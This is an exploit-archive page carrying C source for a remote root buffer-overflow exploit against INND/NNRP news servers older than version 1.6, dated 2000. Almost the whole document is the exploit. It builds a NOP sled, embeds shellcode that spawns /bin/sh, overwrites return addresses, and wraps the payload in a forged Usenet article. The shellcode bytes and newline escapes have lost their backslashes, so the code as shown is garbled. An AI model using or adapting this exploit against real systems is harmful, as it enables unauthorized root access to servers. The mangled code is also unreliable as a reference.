[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : INND/NNRP < 1.6.X Remote Root Overflow Exploit
# Published : 2000-11-30
# Author : Babcia Padlina
# Previous Title : wu-ftpd 2.6.0 Remote Root Exploit
# Next Title : MS Windows IIS Unicode Remote Transversal Bug
/*
* INND/NNRP remote root overflow
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#define DEFAULT_OFFSET 792
#define BUFFER_SIZE 796
#define ADDRS 80
#define RET 0xefbf95e4
#define NOP "x08x21x02x80"
int main(argc, argv)
int argc;
char **argv;
{
char *buff = NULL, *ptr = NULL;
u_long *addr_ptr = NULL;
int ofs = DEFAULT_OFFSET;
int noplen;
int i, j;
u_char execshell[] =
"x34x16x05x06x96xd6x05x34x20x20x08x01"
"xe4x20xe0x08x0bx5ax02x9axe8x3fx1fxfd"
"x08x21x02x80x34x02x01x02x08x41x04x02"
"x60x40x01x62xb4x5ax01x54x0bx39x02x99"
"x0bx18x02x98x34x16x04xbex20x20x08x01"
"xe4x20xe0x08x96xd6x05x34xdexadxcaxfe"
"/bin/sh";
if(argc > 1)
ofs = atoi(argv[1]);
if(!(buff = malloc(4096)))
{
(void)fprintf(stderr, "can't allocate memoryn");
exit(1);
}
ptr = buff;
noplen = BUFFER_SIZE - strlen(execshell) - ADDRS;
for(i = 0; i < noplen / 4; i++)
{
for(j = 0; j < 4; j++)
*ptr++ = NOP[j];
}
*ptr += noplen;
for(i = 0; i < strlen(execshell); i++)
*ptr++ = execshell[i];
addr_ptr = (unsigned long *)ptr;
for(i = 0; i < ADDRS / 4; i++)
*addr_ptr++ = (RET - ofs);
ptr = (char *)addr_ptr;
*ptr = ' ';
(void)fprintf(stderr, "shellcode len: %d, RET: %xn", strlen(buff), RET-ofs);
printf(
"Path: babcia!padlinan"
"From: babunia @%sn"
"Newsgroups: pl.testn"
"Subject: testn"
"Message-ID: <830201540.9220@padlina.z-miesne.krakow.pl>n"
"Date: 26 Aug 1999 10:36:54 +0200n"
"Lines: 1n"
"n"
"west. test it.n"
".n", buff);
}
// www.Syue.com [2000-11-30]